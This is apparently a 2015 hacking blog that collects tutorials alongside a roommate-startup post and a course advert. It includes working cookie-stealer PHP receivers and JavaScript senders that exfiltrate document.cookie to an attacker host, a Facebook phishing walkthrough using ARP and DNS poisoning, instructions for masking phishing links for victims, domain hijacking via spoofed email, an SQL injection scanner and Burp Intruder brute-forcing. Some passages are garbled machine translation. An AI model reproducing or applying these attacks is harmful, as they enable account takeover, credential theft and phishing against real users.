Pak Softwares Spot

PlaceMe.pk 1st Pakistan Startup Which will help you to get Room Mates

2015-12-09T02:49:00.004-08:00

Pakistani business people and tech experts are taking the world by tempest with their development. We have seen some amazing startups getting to be prevalent all around the globe, and it appears that our business people have voracity for additional.
Much the same as consistently, this year various new companies developed in the business sector too. The accompanying is a gander at the gathering of the most inventive activities started by nearby experts and entrepreneurs.

Many startups are now working online based , such as classified websites or mobile apps. This time some guys really focused on serious thing , Everyone knows it is hard to select a room for your self when you switch from one place to another and you have no reference to find a local and cheap room with Good Guys. It is really hard to believe on someone whom you dont know anything about him/her , for this cause we got AirBNB but problem there is it isn't active in Pakistan but a some young guys from Peshawar,Pakistan is trying to help you and to solve this problem .

Founders of PlaceMe.pk are young entrepreneurs who already running some successful startups and products in market but this time they are solving some serious thing, & in Pakistan it 1st sort of startup which will help students to get good shared room easily in Pakistan if they switch from on city to another , it will not be like rent but it is Shared base.

The PlaceMe.pk Mail Center is a roommate interface that offers Pakistan roommates seeking rooms for rent and Pakistan roommates with rooms for rent email drafts, roommate profiles, quick access to room details, quality roommate leads, monitored roommate leads, roommate notes, and roommate lead storage .

Placeme.pk site is in developing stage and will up soon.

Tags:
hostels in abbottabad pakistan
best hostels in pakistan
hostels in wah cantt pakistan
cheap hostels in pakistan
students hostels in gujrat pakistan
hostels in karachi pakistan
list of hotels in pakistan
list of youth hostels in pakistan
hostels in peshawar pakistan
student hostels in pakistan
student hostels in lahore pakistan
schools with hostels in pakistan
Cheap
Hostel Cheap
Cheap Hostel
Pakistan Cheap
Cheap Pakistan
Pakistan Hostel Cheap
Hostel Cheap Pakistan
Pakistan Cheap Hostel
Cheap Hostel Pakistan

Get Shared Rooms Easily

How to make Cookie Stealer ? Best Tutorial

2015-07-04T19:35:00.002-07:00

Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and thereceiver.

The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.

Step One: The Code

Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.

Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.

First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):

Code:

<?php                                                                                                                            // line 1
$cookie = $HTTP_GET_VARS["cookie"];                                                                // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie);                      // line 3
?>                                                                                                                                      // line 4

Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.

Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)

Code:

<?php                                                                                                                            // line 1
$cookie = $HTTP_GET_VARS["cookie"];                                                                // line 2
$file = fopen('cookielog.txt', 'a');                                                              // line 3
fwrite($file, $cookie . "\n\n");                                                                          // line 4
?>                                                                                                                                      // line 5

Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.

Step Two: Implementing the Stealer

The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and Javascript, so you have to be sure that your environment supports those two. Here is an example of a sender.

Code:

<script language="Javascript">                                                                                                           // Line 1
document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;                                // Line 2
</script>                                                                                                                                                      // Line 3

Line 1 tells the browser that the following chunk of code is to be interpereted as Javascript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Wheneverdocument.location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as Javascript (return to HTML).

There are two main ways of implementing the sender:

You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site.

You can trick the victim into clicking a link which activates the sender. For example:

Code:

<a href="java script:document.location='http://www.host.com/mysite/stealer.php?cookie='+document.cookie;">Click here!</a>

(remove the space in "javascript")

Another method I discovered is putting...

Code:

<script>document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>

...into my user-agent.

Ethical Hacking Training In Urdu - Hindi Only 50$

2015-07-04T18:30:00.000-07:00

Join this group for this course updates : https://www.facebook.com/groups/webdvd

Hacking attempts used to be extremely uncommon 10 years back, yet since Internet has grown up and developing each and every day. Consequently, Website Security has turn into a fundamental piece of web improvement and web applications. Each web engineer today should be mindful of security difficulties, and subsequently, one of our new educators "Noman Ramzan" and assumed liability of it and has made a complete course on "Site Security & Ethical Hacking", this course will show you how you can secure your site from hacking assaults, how you can secure your databases, how you can secure your Facebook record and email accounts. There are additionally tips to secure your PC, yet in the meantime, this course shows you to turn into a security analyst and moral programmer. This is just for instructive reason and for doing white-cap exercises in the web security field. Our teacher has clarified everything with points of interest revealing to you viable cases utilizing white-cap strategies.

Why to Become a Security Researcher or Ethical Hacker?

If you know “Rafay Baloch” who is a well-known security researcher in the town, He participated in a bug-bounty program and found a bug in Paypal’s website which is the popular online transactions company on the web, He contacted Paypal about the “Bug” and in reply to him, Paypal confirmed his claim, and rewarded him $10,000which becomes one million PKR, so just by finding a single weakness in Paypal’s website he was rewarded that prize and respect, he was also offered a JOB by Paypal which he did not accept due to his study. Visit Full story of Rafay Baloch.

There are many young guys working in the same field in Pakistan/India, and they are getting success, there are specific jobs at different companies for this title “Security Researcher“, and of course, there are numerous opportunities online for ethical hackers and security analysts. That’s why you can become a security researcher or ethical hacker. If you want to be something in security web security field then our course is for you, which is a paid course at reasonable price and with great content.

The Outline of “Web Security” Course

Course Outline
Module 1: Business and Technical Logistics of Pentesting
Module 2: Linux Fundamentals
Module 3: Information Gathering
Module 4: Detecting Live Systems
Module 5: Enumeration
Module 6: Malware Goes Undercover
Module 7: Hacking UNIX/Linux
Module 8: Windows OS Exploitation
Module 9: Advanced Exploitation Techniques
Module 10: Penetrating Wireless Networks
Module 11: Networks, Sniffing and IDS
Module 12: Injecting the Database
Module 13: Attacking Web Technologies
Module 14: Project Documentation
Module 15: Kali Linux
Module 16: Online Exam and Certification

Hacking Facebook Accounts With New Method 2015

2015-07-04T18:14:00.000-07:00

Level : Medium, Advanced

In this tutorial Hacking Facebook Using Man in the Middle Attack I will demonstrate how to hacking Facebook using MITM(Man in the Middle). This attack usually happen inside a Local Area Network(LAN) in office, internet cafe, apartment, etc.

Below is the topology or infrastructure how MITM work, and how it can be happen to do hacking a Facebook account.

In the picture above, the attacker act as the third person attacker will manipulate the switch routing table so the victim will think that attacker is a Web server and vice versa, because the attacker has changed the routing table.

For this tutorial we need to prepare the tools to do Proof of Concept about this tutorial. Below you can download it.

1. XAMPP – APACHE+PHP+MySQL(We use XAMPP for our fake facebook web server)

2. Cain & Abel (We use it for Man in the Middle Attack)

3. Facebook Offline Page (I have nulled the code, so this script will not contacting Facebook when victim accessed fake Facebook page — only use this for learning)

Download Facebook Offline Page (mediafire.com):

Download

Update : replace your index.php and login.php using following files Download Here.

Step by step Hacking Facebook Using Man in the Middle Attack:

Attacker IP Address : 192.168.160.148

Victim IP Address : 192.168.160.82

Fake Web Server : 192.168.160.148

I assume you’re in a Local Area Network now.

1. Install the XAMPP and run the APACHE and MySQL service

2. Extract the fb.rar and copy the content to C:\xampp\htdocs

3. Check the fake web server by open it in a web browser and type http://localhost/

4. Install Cain & Abel and do the APR(ARP Poisoning Routing), just see the step by step how to below

Click the start/stop sniffer

Choose your interface for sniffing and click OK. When it’s finish, click again the Start/Stop Sniffer to activate the sniffing interface.

Go to the Sniffer tab and then click the + (plus sign)

Select "All hosts in my subnet" and Click OK.

You will see the other people in your network, but my target is 192.168.160.82 (MySelf…LoL :p)

After we got all of the information, click at the bottom of application the APR tab.

Click the + button, and follow the instruction below.

When you finish, now the next step is preparing to redirect the facebook.com page to the fake web server.

Click "APR DNS" and click + to add the new redirecting rule.

When everything is finish, just click OK. Then the next step is to activate the APR by clicking the Start/Stop APR button.

5. Now Hacking Facebook using MITM has been activated. This is how it looks like when victim opened http://www.facebook.com

6. But if you ping the domain name, you can reveal that it’s fake, because the address is IP of the attacker

Hope you found it useful

- See more at: http://www.hacking-tutorial.com/hacking-tutorial/hacking-facebook-using-man-in-the-middle-attack/#sthash.9K1a1l0H.dpuf

How to Write My First SQL Injection Vulnerability Scanner

2015-07-04T18:11:00.004-07:00

Hello, today we are making an Python MySQL SQL Injection checking tool. That's why we named it Code your first simple SQL Injection checking vulnerability with Python

It will work only on GET parameter using websites.

You are going to need:

– Python 3.4

– Internet Connection

– A vulnerable website

– Computer with Windows or Linux

If you haven't got installed Python yet, download it from the following link:

https://www.python.org/downloads/

Python basics

Python is written in C, it is one of the easiest programming languages for hacking tools, it includes alot of very useful libs, today, we will use 1 of them,

Finding a website for testing You can easily find a website for testing using simple SQLi dorks, like inurl:"index.php?cat_id=". You can find vulnerable site dumps over the web.

Step by step Code your first simple SQLi checking vulnerability with Python:

Before starting coding, make a new .py file.

Importing main libraries

This time we will use sys, urllib and urllib.request modules, so import those 3 by using import sys, urllib, urllib.request or import sys, import urllib and import urllib.request in the new line

Explanation: 'import' is used for importing libraries, such as urllib or os, system.

Selecting the input type

Now we need to select the input type, the first one is pretty simple, the other one is harder. This time we will use the first one, but it does not affect other lines of code.

1) Use input("") commands to get user input. This time it will be:

fullurl = input("Please specify the full vulnerable url: ")

Explanation: 'variable = input("Input: ")' sets the var 'variable' to user input, 'Input: ' is the text seen by the user at the input line.

2) Use arguments for specifying the data:

for carg in sys.argv:

if carg == "-w":

argnum = sys.argv.index(carg)

argnum += 1

fullurl = sys.argv[argnum]

Explanation: 'if' is a well known macro stament. Right now, we are using it to determine curent arg, the other lines – indicates the second argument, 'in' – checks if there is a specified text in a string.

Coding the program to make an web request

This is the most important part.

resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\''")

body = resp.read()

fullbody = body.decode('utf-8')

Explanation: the resp variable is set to the request response, body – to the response text, fullbody – to the decoded request text, '+' is the addition variable on Python, \ is the escape character.

Making the program to check if the target is vulnerable

Now, once we have the response, we have to check if it contains SQL errors.

We will use this code for that:

if "You have an error in your SQL syntax" in fullbody:

print ("The website is classic SQL injection vulnerable!")

else:

print ("The website is not classic SQL injection vulnerable!")

Explanation: We use 'if' macro for checking if there's the specified text in the response.

Scanner with first type of getting user input

with second type

So yeah, that's it!

Save the file, open cmd and run 'python filename.py' and input the requested info, if you were using the second method, use 'python filenamy.py -w website'. It will check if the site's vulnerable

The copied code may not work, please rewrite it to your file

If you had errors in syntax

Unexpected indendity shows up when there are problems with tabs.

Problems with syntax are mostly showing up on problems with macros. If this error occured, please check your macros validity.

How to prevent simple SQL injection

Preventing SQLi ON MYSQL if very simple. Just use mysql_real_escape string for queries, as example:

$query = sprintf("SELECT * FROM users where user='%s' AND password='%s',

mysql_real_escape_string($username)

mysql_real_escape_string($password)

ADVICE: after having success on this scanner, try to making a heartbleed exploiter

Good luck!

Writer: I am Vilius Povilaika, IT security specialist. Mainly developing exploits or other hacking tools.

Website: c-genf.com

Make Your Data Safe by Using Cryptography

2015-07-04T18:09:00.000-07:00

What is Cryptography?

Cryptography is the study and application of techniques that hide the real meaning of information by transforming it into non human readable formats and vice versa.

Let’s illustrate this with the aid of an example. Suppose you want to send the message “I LOVE APPLES”, you can replace every letter in the phrase with the third successive letter in the alphabet. The encrypted message will be “K NQYG CRRNGV”. To decrypt our message, we will have to go back three letters in the alphabet using the letter that we want to decrypt. The image below shows how the transformation is done.

The process of transforming information into non human readable form is called encryption.

The process of reversing encryption is called decryption.

Decryption is done using a secret key which is only known to the legitimate recipients of the information. The key is used to decrypt the hidden messages. This makes the communication secure because even if the attacker manages to get the information, it would not make sense to them.

The encrypted information is known as a cipher.

What is Cryptanalysis?

Cryptology encrypts messages using a secret key. Cryptanalysis is the art of trying to decrypt the encrypted messages without the use of the key that was used to encrypt the messages. Cryptanalysis uses mathematical analysis & algorithms to decipher the ciphers. The success of cryptanalysis attacks depends on;

Amount of time available
Computing power available
Storage capacity available

The following is a list of the commonly used Cryptanalysis attacks;

Brute force attack– this type of attack uses algorithms that try to guess all the possible logical combinations of the plaintext which are then ciphered and compared against the original cipher.
Dictionary attack– this type of attack uses a wordlist in order to find a match of either the plaintext or key. It is mostly used when trying to crack encrypted passwords.
Rainbow table attack– this type of attack compares the cipher text against pre-computed hashes to find matches.

What is cryptology

Cryptology combines the techniques of cryptography and cryptanalysis.

Encryption Algorithms

MD5– this is the acronym for Message-Digest 5. It is used to create 128 bit hash values. Theoretically, hashes cannot be reversed into the original plain text. MD5 is used to encrypt passwords as well as check data integrity. MD5 is not collision resistant. Collision resistance is the difficulties in finding two values that produce the same hash values.

SHA– this is the acronym for Secure Hash Algorithm. SHA algorithms are used to generate condensed representations of a message (message digest). It has various versions such as;

SHA-0: produces 120 bit hash values. It was withdrawn from use due to significant flaws and replaced by SHA-1.
SHA-1: produces 160 bit hash values. It is similar to earlier versions of MD5. It has cryptographic weakness and is not recommended for use since the year 2010.
SHA-2: it has two hash functions namely SHA-256 and SHA-512. SHA-256 uses 32 bit words while SHA-512 uses 64 bit words.
SHA-3: this algorithm was formally known as Keccak.

RC4– this algorithm is used to create stream ciphers. It is mostly used in protocols such as Secure Socket Layer (SSL) to encrypt internet communication and Wired Equivalent Privacy (WEP) to secure wireless networks.
BLOWFISH– this algorithm is used to create keyed, symmetric blocked ciphers. It can be used to encrypt passwords and other data.

Hacking Activity: Hack Now!

In this practical scenario, we will create a simple cipher using the RC4 algorithm. We will then attempt to decrypt it using brute-force attack. For this exercise, let us assume that we know the encryption secret key is 24 bits. We will use this information to break the cipher.

We will use CrypTool 1 as our cryptology tool. CrypTool 1 is an open source educational tool for crypto logical studies. You can download it from http://www.cryptool.org/en/ct1-download-en

Creating the RC4 stream cipher

We will encrypt the following phrase

Never underestimate the determination of a kid who is time-rich and cash-poor

We will use 00 00 00 as the encryption key.

Open CrypTool 1

Replace the text with Never underestimate the determination of a kid who is time-rich and cash-poor

Click on Encrypt/Decrypt menu

Point to Symmetric (modern) then select RC4 as shown above
The following window will appear

Select 24 bits as the encryption key
Set the value to 00 00 00
Click on Encrypt button
You will get the following stream cipher

Attacking the stream cipher

Click on Analysis menu

Point to Symmetric Encryption (modern) then select RC4 as shown above
You will get the following window

Remember the assumption made is the secret key is 24 bits. So make sure you select 24 bits as the key length.
Click on Start button, you will get the following window

Note: the time taken to complete the Brute-Force Analysis attack depends on the processing capacity of the machine been used and the key length. The longer the key length the longer it takes to complete the attack.

When the analysis is complete, you will get the following results.

Note: a lower Entropy number means it is the most likely correct result. It is possible a higher than the lowest found Entropy value could be the correct result.
Select the line that makes the most sense then click on Accept selection button when done

Summary

Cryptography is the science of ciphering and deciphering messages.
A cipher is a message that has been transformed into a non human readable format.
Deciphering is reversing a cipher into the original text.
Cryptanalysis is the art of deciphering ciphers without the knowledge of the key used to cipher them.
Cryptology combines the techniques of both cryptography and cryptanalyst.

How to hide the Phishing Page URL

2015-05-15T05:16:00.002-07:00

Hi.. Today I am back with new topic "How to hide a url | Chnage URL |

Mask url" .While sending mail, you have to include in mail, the link to

your phisher page. So, instead of sending mail with actual url which

can create a sense of doubt in victim's mind, we can hide the url. Dot.tk

is an online service which enables you to

hide/mask the url.

Hide/Mask a url:
http://paksoftwaresspot.blogspot.com/

So, whenever victim checks out this link, he will find the link suspicious.

This can be detrimental for our hack. So, the best way is to make this

link less suspicious i.e. to hide/mask the url.

1. So, go to Here to hide a url.

2. Enter your phisher link in the textbox and hit on Next.

3. Enter the link you want to rename your phisher link to dot.tk domain name.

4. Now, you can send this masked phisher link to your victim.

The victim will now find our phisher link less suspicious as we

have hidden the actual phisher link using .tk domain.

So friends, I hope you are now able to hide a url using this url

masker service.If you have any problem in this tutorial just comment here.

Website Hacking Techniques - Fully Explained

2015-05-15T05:14:00.000-07:00

I gonna teach you some basic of website hacking
so first We gonna learn about website defacement

1) What is Website defacement ?

A website defacement is an attack on a website that changes the visual
appearance of the site. These are typically the work of system crackers,
who break into a web server and replace the hosted website with one of
their own.

A high-profile website defacement was carried out on the website of the
company SCO Group following its assertion that Linux contained stolen
code. The title of the page was changed from "Red Hat vs SCO" to "SCO vs
World," with various satirical content following

2) Terms to be used ---->

[SQL] - Structured Query Language

[LFI] - Local File Include

[RFI] - Remote File Include

[XSS] - Cross Site Scripting

[RCE] - Remote Code Execution

[AFD] - Arbitrary File Download

[SCD] - Source Code Disclosure

[PCI] - PHP Code Injection

3) Defacement techniques ?

I).Domain Hacking

II).FTP Protocol

III).Apache Vulnerable

IV).Script, Cookie, XSS

V).Social Engineering.

VI).SQL Injection

VII).RFI.

Now :-

I) What is Domain Hacking ?

A Domain hacking is a process to transfer domain(yahoo.com) without owner permission with help of phishing, sniffing,spoofing.

A domain hack is an unconventional domain name that combines domain
levels, especially the top-level domain (TLD), to spell out the full
"name" or title of the domain, making a kind of fun.

------->Domain Hacking process :--->

a) See who.is record of Slave(XXABCXX.net) DNS record and note

down admin email (xxabcxx@gmail/ymail/hotmail/live/[whatever apply this exception if possible admin(name)@XXABCXX.net] )

b) Send spoof mail to Slave admin email for password.

c) after open domain registrar ---->(my.india s.com)

<-----------website to access

their domain control panel (click forget password)

d) After you get a password in Slave email address of Slave domain.

e) Just login on domain control panel.

f) and get ECCP code and create new account on hosting company

and choose Domain transfer (all submit all details)

g) You will get all rights on this domain for lifetime.

II) What is FTP Protocol ?

The File Transfer Protocol (FTP) provides the basic elements of file
sharing between hosts. FTP uses TCP to create a virtual connection for
control information and then creates a separate TCP connection for data
transfers. The control connection uses an image of the TELNET protocol
to exchange commands and messages between hosts.

for detail check this Detail about FTP

III) What is XSS ?

XSS is a type of computer security vulnerability typically found in web
applications which allow code injection by malicious web users into the
web pages viewed by other users.

Cross Site Scripting is a technique used to add script to a trusted site that will be executed

on other users browsers. A key element to XSS is that one user can submit data to a

website that will later be displayed for other users. It is nessesary that the bad guy NOT

mess up the HTML structure, otherwise the result will be web defacement rather then

attacking other users.

IV) What is Social Engineering ?

Social engineering is the act of manipulating people into doing actions
or exposing confidential information. It's trickery or deception to
gather information, fraud, or computer system access

where in the hacker never comes face-to-face with the Slave. Here are

I don't want to make my thread so big in size so i helped myself by

LINK

V) What is SQL injection ?

SQL injection is a type of security exploit in which the attacker

injects Structured Query Language (SQL) code through a web form input box, to gain access to resources, or make changes to data.

It is a technique of injecting SQL commands to exploit non-validated input vulnerabilities in a web application database.

-------------->Preventing SQL Injection<-------------------

To protect against SQL injection, user input must not directly be
embedded in SQL statements. Instead, parameterized statements must be
used (preferred), or user input must be carefully escaped or filtered.

VI) What is RFI ?

Remote File Inclusion attacks allow malicious users to run their own PHP
code on a vulnerable website. The attacker is allowed to include his
own (malicious) code in the space provided for PHP programs on a web
page.

Burp Suite Hacking Methods Collection - Hacking With Burp Suite Full

2015-05-15T05:06:00.000-07:00

Almost everyone who has tried to penetrate the secrets of hacking, sooner or later met guessing, or if the attacks against the login forms, whose aim was to break the brute force (brute force) or dictionary attack (dictionary attack) user passwords. Over time, the testers also came out that it would be wrong to try using brute force or dictionary to estimate the location and names of various files and scripts stored on the server on which you do not keep any links. Meet you but could even cases where the application uses a unique ID for showing the user's profile or to address files. Series of numbers, however, may be leaky and seek that ID is occupied and which is free, would be to manually scroll through a truly superhuman task.

Oh, and just to all of the above activities (but not only them) are perfect just the module Intruder Burp Suite tools with which to learn about this part. Right at the beginning, however, worth mentioning that just Intruder in the free version of the Burp Suite significantly reduced and at cadence with which sends individual requirements. So if you need to use the full speed Intruder enough for you to send hundreds request per second, you have to look for paid professional version.

Intruder use for guessing

Vertical or horizontal guessing, or send different passwords for one user name, password, or testing one for all users, it is the basic practical skills of many a novice attacker. However, we will not acquainted with guessing because we like the bad guys penetrated into foreign accounts, but because guessing is currently one of the basic techniques used during penetration testing. In the following paragraphs, therefore, we look at the different types of attacks, testing the strength of user passwords by using tools Burp Suite.

We harvest usernames

If you do not test the presence of weak passwords only one user whose login is known to us (eg. Admin), is a good idea to first prepare a list of logins that are registered in the application. Possibility to pull out of the application dictionary attack or brute force usernames is quite often a defect in logic of Web applications. As an example of vulnerability, for example, will bring out the registration form, which we dutifully announce whether the name is free or occupied. Similarly, the act also forms intended to receive a new password to us in the event that you wish to send a password to login existent, tells us that the specified name was not found in the database. Let us prior to use Guessing Intruder first to harvest usernames.

As always, we will not try anything on foreign Web application, but rather to try everything on our already well-known sandbox, which for us becomes our webmail Hack. If we go to the registration page of the new user account and try to register an account with login "admin" gets us answers "entered login is already used". This site will therefore ideal for harvesting logins.

So, run by our old friend Burp Suite and set your Web browser so that all requests flowed through him. There is no point stopping Intercept requirements and therefore this option to disable the Proxy module. Then send the completed registration form, and we'll look into the history of communication, whether our request properly recorded. Find request directed to the address /user/send_registration.php, and the now familiar procedure via the context menu sends it to the Intruder (Sent toIntruder).

Among the tabs at the top of the Burp Suite tools we find the labeled Intruder a single click on it to move to yet unknown destination. Do not despair, however. After reading this article, you will feel at home here.

Under the major tabs of each module similarly as repeater located in ear tabs labeled 1x, 2x, 3x, etc. depending on how many requests you to Intruder sent. Use these bookmarks between different requirements can switch or the cross behind the figures may conclude it is no longer needed.

Further below you will find a tab named Target, Position, and Options payloads for us today will be very important.

Target - Target Attack card has more or less intuitive meaning. It contains the address of our destination, port, and possibility of using the HTTPS protocol. If we do not change our goal, I see no reason to alter anything here. If you have this card after all the changes made, be sure to make the same adjustments also in HTTP headers tabPositions.
Positions - Position tab Payload he expects us to determine the type of attack and select locations in the request, which will be referred Intruder enter the required values. Intruder in our request to the Positions tab will automatically choose the appropriate injection site values. This place wrapped signs of Section § color and we are accentuated. Cause we'll want to choose yourself variable whose value we will test, click on the right side, click Clear§. Subsequently, the mice mark the value of the variable login (in our case "admin") and click the Add button §.Thus, we chose a place to which we intruder will automatically insert the name of the dictionary, which will determine whether a particular login in the application is authorized or not.
On the Position must not forget also choose the type of attack (Attack type). We have:
- Sniper - This type of attack is expected that in the HTTP request mark only one point, which will Intruder insert specific values. At each request is therefore tested only a single parameter value. In practice, this type of attack is used, for example, when trying different passwords for a particular login, or as in our case, we test whether a particular login in the database already exists.
- Battering ram - Like type Snipper here with each request changing only one payload. Unlike the aforementioned but it can be inserted at multiple sites in the same request. This means that if the code mark two places with signs § will be on both these places when you send Request inserted Intruder same value. In practice, this type can be useful, for example, where the request includes changing the value in multiple places at the same time, or when testing if users do not use the same password to login.
- Pitchfork - During the test, it is possible to select more than one HTTP request (to 8) venues that are inserted payload from various sources. If we had identified two sites (eg. Name and password) and then select two dictionaries (one with names and second password) will be sent during the test requirements are always the first record of the two dictionaries, then second, etc. Example: Login1: password1, Login2: Password2, login3: password3, loginx: heslox.
- Cluster bombs - Even in this type of attack can be identified in the Request to 8 places for inserting the payload. Unlike the type Pitchfork but here they test all possible combinations. Usage is precisely example, when searching for the right combination of username and password. Example: Login1: password1, Login2: password1, login3: password1, Login1: Password2, Login2: Password2, login3: Password2, Login1: password3, Login2: password3, login3: password3.
Payloads - If we are on the previous card duly marked place values on which we want Intruder input the required payload, and we chose the appropriate type of attack, it is now time to determine what values will be chosen places actually files. These settings can be found on the card payloads.
In the event that we are on the previous tab labeled more seats for inserting the payload (which is related also elected Attack Pitchfork, or cluster bomb), then we drop down below Payload field set to choose from so many options, how many sites are marked on request. Every time you select from the dropdown list one of the values (1, 2, 3, ...), this means that sets the payload, which will be put on a position corresponding to its position in the request.Example: If you would like to request tagged two points username and password (in this order in the request), then we payloads on the card in the list set Payload selected first gear and set out what payload will be put on instead of login. Consequently, we chose from a list of two and set the type of payload password. If it is still not entirely clear, everything I will show later in the embedded video. If we have chosen the appropriate entry from the list Payload set (in our case for the harvesting of user logins to the type of attack Snipper we only have one), we can move on to the next pull-down Payload type list, from which you select the type of payload. Again, we have a wide range of options.
- Options payloads [xxxxx] - the contents of this section varies depending on the type of payload follows:
  - Simple list - if we choose this type of payload is up to us to fulfill the required chain table that we want to test. Manually so we can build a simple vocabulary. This option is likely to use at times when we will try to test only a few string values. 5 For example, the most commonly used passwords.
  - Runtime file> - Allows you to test inputs from a dictionary stored in a text file. Each record has yet to be placed on a separate line.
  - Custom iterator - A very handy tool that lets you build vocabulary strings exactly to the liking of the tester. Let's say that we have registration numbers of employees in the shape AA25-3AV, AA04-6ER,AA88-3AB, etc. Choosing Custom iterator allows us to stack the vocabulary of strings that match this shape. By selecting Position, select the character position in the string and the list below to put all the characters that this position can be found. Thus, we can fill up to 8 different positions. For each position can also follow separator that define the field Separator for position x. In our case, we introduced the first position AA (note that it may be used Multi-character combination, and therefore does not always go just about individual characters), the second, third and fourth position we put the digits 0-9, with the third, position followed by a separator minus. On the fifth or sixth position, we then put uppercase alphabet AZ.
  - Character substitution - Individual characters strings, which we can populate the list, using the substitution can be converted to other characters. Befitting it may, for example, in cases where we know that the goal is often used instead of the character and fours, instead of the character E troika and instead of the character O zero.
  - Case modification - This option allows for individual entries from the list, change the size of letters used.
  - Recursive grep - This option allows you to obtain the following payload is always the answer to the previous question. Regular expressions used to extract the contents of the response are defined underOptions section Grep - exract.
  - Illegal Unicode - This type paylodu can be used to generate unauthorized representation of Unicode characters.
  - Character blocks - This option allows you to test applications on the input strings of different lengths.Select a character or string, from which the resulting block compose, enter start and end the string length and size of the increase in length each time you send.
  - Numbers - A very useful feature allowing, for example through the records by their unique id. Select the desired range and step numeral system, whether they be a whole or decimal numbers, or other advanced options, and we can start testing.
  - Dates - If the input data is expected, once again we have the opportunity to choose the start and end dates, pace, and format.
  - Brute forcer - If we have no choice but to try to break brute force, offering us Intruder own bruteforcer. Just define the desired characteristics and minimum / maximum length of chains tested.
  - Null payloads - This type of payload use if we need to send a few requests with an empty value. How many sending occurs depends on the value that we make available on a single input field.
  - Character frobber - gradually goes through each character of the input string and dropped it in the ASCII table on one level. Useful for example when we need to determine which part of the value of the input string has an impact on application response, and the changes which parts of her behavior evident.If you keep the option chosen Base value of payload position will test performed with labeled chain of the original request, or you can string field Specific define their own test string. Example: If the original string value "admin" will alternately perform tests on strings bdmin, aemin, adnin, admjn, ADMI.
  - Bit flipper - this option allows the chain to flip selected bits for each character.
  - Username generator - Add to the list the user name, such as "Full name", or in the form of e-mail addresses will be tested in all sorts of variants curtail and jointing names. Example: After entering the name "Roman Kümmel" will be tested as a combination of a RKummel, r.kummel, romances, novels,apd.
  - ECB block shuffler - This option allows you to shuffle blocks of cipher text using the ECB.
  - Extension-generated - Allows the user to connect to an external Burp Suite generator of accessories, which must be correctly registered Burp Suite.
  - Copy other payload - If we request more marked locations for testing, they can use the same payload.Of course it would be easier to use Battering ram type attack, but imagine a case where in one place you need to upload files, for example login in plain text, while at another place the same login encrypted using base64. Now in this case we use this option when the field Copy from position will list the order of the payload requirement, whose value we want to take and in the Payload processing to add it to require encryption.
- Payload processing - After selecting the desired type of payload here you have yet another additional options for modifying the payload before using it. The individual strands can, for example, add a prefix or postfix, we can determine whether or not to encrypt the string before using or zahešovat, reverse the order of characters in a string, apd.
- Encoding Payload - last section available on the card determines the payloads for which the characters to be used in requests a URL coding.
Options - At the moment, therefore, we have chosen instead of an HTTP request, which we insert payload, and we have chosen the appropriate type of payload. For our purposes, we chose Runtime file and selected a disk file with a dictionary of frequently used logins. Now we are left only to learn Intruder automatically detect whether the username is busy or available, which we will now further Optionstab.
- Request Headers - In this section we have two choices, which should be left checked
  - Update Content-Length header - ensuring conversion of the value of the body length in the HTTP request header, payload if there is a change to change its size.
  - Set Connection: close - Informs server that behind each answer immediately closed the connection.
- Request Engine - very important section in which we can influence the speed of the entire Intruder. As I wrote at the very beginning of this text it is precisely Intruder in the free version of the Burp Suite at these options very limited. In the event that we had available the Professional version, we should at this point able to set:
  - Number of threads - the number of concurrent threads that can work Intruder stepped up considerably.
  - Number of retries on network failure - the number of errors in a row, which may occur in connection pending the completion of the test.
  - Pause before retry (milliseconds) - You can set the length of time between attempts in case the connection fails.
  - Throttle (milliseconds) - Regulating the speed requirements. Here you can set the time interval between each request, which can be either fixed or can be linearly increasing with each request. Speed Adaptation is useful in cases where our test could cause a DoS, or in cases where the protective mechanisms applications allow users to upload to the server only a certain number of requests at a particular time.
  - Start time - test we can run immediately or at this point we can schedule a delayed start.
- Attack Results - In this section, we set some other options Intruder behavior during the attack.
  - Store requests - all outgoing requests will be stored in a temporary file, so you will be able if necessary to view the full text.
  - Store responses - Like the previous option, this also serves to store room unit during the test.Specifically, this option allows you to store all server response.
  - Make unmodified baseline Request - This option after Intruder requires that prior to the test reset all indicators payload and the first requirement in a row # 0 Posted empty values payload, which will provide the basic response of the server against which it will be possible to compare the following Request.
  - Use denial-of-service mode - Check this option to switch to the mode Intruder susceptibility testing server against DoS at the application layer. Intruder will send requests, exactly as we have already described, but will not wait for an answer. Instead, after sending each request immediately terminates the TCP connection, and immediately sends another request.
  - Store full payloads - Checking this option is necessary if we want the attack to perform certain actions, such as changing settings grep or change the content payload. This option, however, consumes more memory.
